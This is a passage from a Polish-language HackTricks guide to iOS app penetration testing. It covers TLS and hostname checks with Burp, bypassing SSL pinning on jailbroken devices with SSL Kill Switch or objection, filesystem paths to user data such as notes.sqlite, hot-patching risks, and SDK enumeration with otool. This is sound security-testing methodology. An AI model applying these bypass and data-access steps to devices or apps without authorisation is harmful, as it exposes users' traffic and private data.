[ios-uipasteboard.md](ios-uipasteboard.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Rozszerzenia aplikacji
|
||
|
||
{% content-ref url="ios-app-extensions.md" %}
|
||
[ios-app-extensions.md](ios-app-extensions.md)
|
||
{% endcontent-ref %}
|
||
|
||
### WebViews
|
||
|
||
{% content-ref url="ios-webviews.md" %}
|
||
[ios-webviews.md](ios-webviews.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Serializacja i kodowanie
|
||
|
||
{% content-ref url="ios-serialisation-and-encoding.md" %}
|
||
[ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Komunikacja sieciowa
|
||
|
||
Ważne jest sprawdzenie, czy nie występuje **komunikacja bez szyfrowania**, a także czy aplikacja poprawnie **sprawdza certyfikat TLS** serwera.\
|
||
Aby sprawdzić tego rodzaju problemy, można użyć proxy takiego jak **Burp**:
|
||
|
||
{% content-ref url="burp-configuration-for-ios.md" %}
|
||
[burp-configuration-for-ios.md](burp-configuration-for-ios.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Sprawdzanie nazwy hosta
|
||
|
||
Powszechnym problemem przy sprawdzaniu certyfikatu TLS jest sprawdzenie, czy certyfikat został podpisany przez **zaufany** **CA**, ale **nie sprawdzenie**, czy **nazwa hosta** w certyfikacie jest tą samą, do której się odwołujemy.\
|
||
Aby sprawdzić ten problem za pomocą Burp, po zaufaniu CA Burp na iPhonie, można **utworzyć nowy certyfikat z Burp dla innej nazwy hosta** i go użyć. Jeśli aplikacja nadal działa, to oznacza, że jest podatna na atak.
|
||
|
||
### Pinned Certificates
|
||
|
||
Jeśli aplikacja poprawnie korzysta z SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat będzie oczekiwanym certyfikatem. Podczas testowania aplikacji **może to być problemem, ponieważ Burp będzie serwował swój własny certyfikat.**\
|
||
Aby ominąć tę ochronę na urządzeniu z jailbreakiem, można zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)
|
||
|
||
Można również użyć polecenia `ios sslpinning disable` w narzędziu **objection**.
|
||
|
||
## Różne
|
||
|
||
* W **`/System/Library`** można znaleźć frameworki zainstalowane w telefonie, używane przez aplikacje systemowe.
|
||
* Aplikacje zainstalowane przez użytkownika ze sklepu App Store znajdują się w folderze **`/User/Applications`**.
|
||
* Natomiast **`/User/Library`** zawiera dane zapisane przez aplikacje na poziomie użytkownika.
|
||
* Można uzyskać dostęp do pliku **`/User/Library/Notes/notes.sqlite`**, aby odczytać zapisane w aplikacji notatki.
|
||
* Wewnątrz folderu z zainstalowaną aplikacją (**`/User/Applications/<APP ID>/`**) można znaleźć kilka interesujących plików:
|
||
* **`iTunesArtwork`**: Ikona używana przez aplikację.
|
||
* **`iTunesMetadata.plist`**: Informacje o aplikacji używane w App Store.
|
||
* **`/Library/*`**: Zawiera preferencje i pamięć podręczną. W folderze **`/Library/Cache/Snapshots/*`** można znaleźć zrzut wykonany z aplikacji przed wysłaniem jej do tła.
|
||
|
||
### Hot Patching/Enforced Updateing
|
||
|
||
Deweloperzy mogą zdalnie **poprawiać wszystkie instalacje swojej aplikacji natychmiast**, bez konieczności ponownego przesyłania aplikacji do sklepu App Store i oczekiwania na zatwierdzenie.\
|
||
W tym celu zazwyczaj używa się [**JSPatch**](https://github.com/bang590/JSPatch)**.** Istnieją jednak również inne opcje, takie jak [Siren](https://github.com/ArtSabintsev/Siren) i [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
|
||
**Jest to niebezpieczny mechanizm, który może być nadużywany przez złośliwe SDK osób trzecich, dlatego zaleca się sprawdzenie, jakie metody są używane do automatycznego aktualizowania (jeśli takie istnieją) i przetestowanie ich.** Można spróbować pobrać poprzednią wersję aplikacji w tym celu.
|
||
|
||
### Osoby trzecie
|
||
|
||
Poważnym wyzwaniem związanym z **SDK osób trzecich** jest **brak precyzyjnej kontroli** nad ich funkcjonalnościami. Deweloperzy stoją przed wyborem: zintegrować SDK i zaakceptować wszystkie jego funkcje, w tym potencjalne podatności na bezpieczeństwo i problemy z prywatnością, lub całkowicie zrezygnować z jego korzyści. Często deweloperzy nie są w stanie samodzielnie naprawić podatności w tych SDK. Ponadto, gdy SDK zyskują zaufanie w społeczności, niektóre z nich mogą zawierać złośliwe oprogramowanie.
|
||
|
||
Usługi świadczone przez SDK osób trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczenia użytkownika. Jednak wiąże się to z ryzykiem, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest ograniczenie informacji udostępnianych usługom osób trzecich do tego, co jest niezbędne, i zapewnienie, że żadne wrażliwe dane nie są ujawniane.
|
||
|
||
Implementacja usług osób trzecich zazwyczaj przyjmuje dwie formy: samodzielnej biblioteki lub pełnego SDK. Aby chronić prywatność użytkownika, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu danych identyfikujących osobę (PII).
|
||
|
||
Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. Narzędzie to powinno być uruchamiane dla aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki.
|
||
```bash
|
||
otool -L <application_path>
|
||
```
|
||
## **Odnośniki i więcej zasobów**
|
||
|
||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
|
||
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/)
|
||
* [https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage](https://mas.owasp.org/MASTG/iOS/0x06d-Testing-Data-Storage)
|
||
* [https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way](https://coderwall.com/p/kjb3lw/storing-password-in-keychain-the-smart-way)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0055/)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0053)
|
||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0060/)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0058)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0060)
|
||
* [https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/](https://mas.owasp.org/MASTG/Android/0x05f-Testing-Local-Authentication/)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
|
||
* [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
|
||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
|
||
* [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) Bezpłatny kurs iOS ([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
|
||
* [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
|
||
* [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
|
||
* [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
|
||
* [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2)
|
||
* [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground)
|
||
* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Wersja Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Wersja Swift
|
||
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||
Zdobądź dostęp już dziś:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Inne sposoby wsparcia HackTricks:
|
||
|
||
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Podziel się swoimi trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|